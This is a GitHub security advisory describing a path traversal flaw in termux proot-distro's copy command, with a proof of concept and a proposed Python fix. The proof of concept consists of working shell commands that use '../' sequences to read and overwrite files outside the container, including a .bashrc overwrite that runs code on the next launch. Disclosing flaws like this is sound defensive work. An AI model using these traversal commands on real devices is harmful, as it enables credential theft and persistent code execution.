{"schema_version":"1.9.0","id":"GHSA-mfr4-mq8w-vmg6","published":"2026-07-17T20:25:37Z","modified":"2026-07-17T20:30:18.046384393Z","summary":"PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs","details":"

Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

\n

Repository

\n

https://github.com/termux/proot-distro

\n

Maintainer: @sylirre

\n
\n

Affected Component

\n\n
\n

Affected Versions

\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n
\n

Proof of Concept

\n

All tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The .bashrc overwritten\nduring testing was immediately restored.

\n

Step 1 — Setup

\n
rm -rf ~/poc\nmkdir -p ~/poc\n
\n
\n

Step 2 — Arbitrary write (overwrite a file outside the container rootfs)

\n
echo \"ORIGINAL\" > ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" > ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt\"\n
\n

Observed output:

\n
[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n
\n

Verification:

\n
cat ~/poc/target.txt\n→ PWNED_BY_PROOT_DISTRO\n
\n

This confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.

\n
\n

Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)

\n
echo \"TOP_SECRET\" > ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n
\n

Observed output:

\n
[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n
\n

Verification:

\n
cat ~/poc/read_result.txt\n→ TOP_SECRET\n
\n

This confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.

\n
\n

Step 4 — Persistent code execution via .bashrc overwrite

\n
printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\\n' > ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc\"\n
\n

Observed output:

\n
[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'\n[*] Destination: '/data/data/com.termux/files/home/.bashrc'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n
\n

Verification before restart:

\n
cat ~/.bashrc\n→\necho VULN_TRIGGERED > ~/poc/proof.txt\n
\n

After closing and reopening Termux, the new shell sourced .bashrc and\nexecuted the payload automatically:

\n
cat ~/poc/proof.txt\n→ VULN_TRIGGERED\n
\n

This confirms that attacker-controlled content written into .bashrc executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.

\n
\n

Attack Scenario

\n

The most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls proot-distro copy with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.

\n

On a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to .bashrc allows persistent code execution triggered on next login.

\n
\n

Proposed Fix

\n

After resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:

\n
import os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n
\n

This check must be applied to both the source and destination paths in the\ncopy subcommand.

\n
\n

Additional Notes

\n","affected":[{"package":{"name":"proot-distro","ecosystem":"PyPI","purl":"pkg:pypi/proot-distro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.0"}]}],"versions":["5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0b5","5.0.1","5.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mfr4-mq8w-vmg6/GHSA-mfr4-mq8w-vmg6.json"}}],"references":[{"type":"WEB","url":"https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"},{"type":"PACKAGE","url":"https://github.com/termux/proot-distro"},{"type":"WEB","url":"https://github.com/termux/proot-distro/releases/tag/v5.1.0"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-07-17T20:25:37Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}